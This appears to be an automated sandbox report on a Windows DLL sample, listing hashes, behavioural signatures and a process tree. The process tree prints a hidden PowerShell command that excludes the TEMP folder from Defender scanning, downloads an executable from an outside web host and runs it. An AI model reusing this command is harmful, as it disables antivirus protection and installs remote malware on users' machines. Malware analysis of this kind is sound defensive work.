Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    02/08/2023, 08:19

General

  • Target

    bf2f2ff6aeba535928b65cbfd3890dd3.dll

  • Size

    103KB

  • MD5

    bf2f2ff6aeba535928b65cbfd3890dd3

  • SHA1

    c53534801af64bd6c3e74d33d7a84163271602e2

  • SHA256

    5c8cda2e3762ca39fdc3479693ec0bb7fe1ab6a8c9d650b699ca63f5c27689c5

  • SHA512

    cfce2f1d33eb798e8cd68cbfd929dce2df706c8ff3f1c4da859009101bd3054423c8c91ab6e366978ee450ad9c45502d8248e96d6b5522b63d63f4e793fdb919

  • SSDEEP

    3072:EMVz9PYVkoLvIkqUjZdJB8rVYPbwIgtDzy7URPlxu:EMbPYVkockqkZH2/Flxu

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\bf2f2ff6aeba535928b65cbfd3890dd3.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2340
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath "$env:TEMP "; Invoke-WebRequest -Uri "https://abumachin.000webhostapp.com/files/32123212.xfx" -OutFile $env:TEMP"\2.exe"; Start-Process -FilePath $env:TEMP"\2.exe";
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2096

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/2096-58-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

    Filesize

    2.9MB

  • memory/2096-59-0x0000000002610000-0x0000000002618000-memory.dmp

    Filesize

    32KB

  • memory/2096-60-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2096-61-0x0000000002770000-0x00000000027F0000-memory.dmp

    Filesize

    512KB

  • memory/2096-62-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2096-63-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB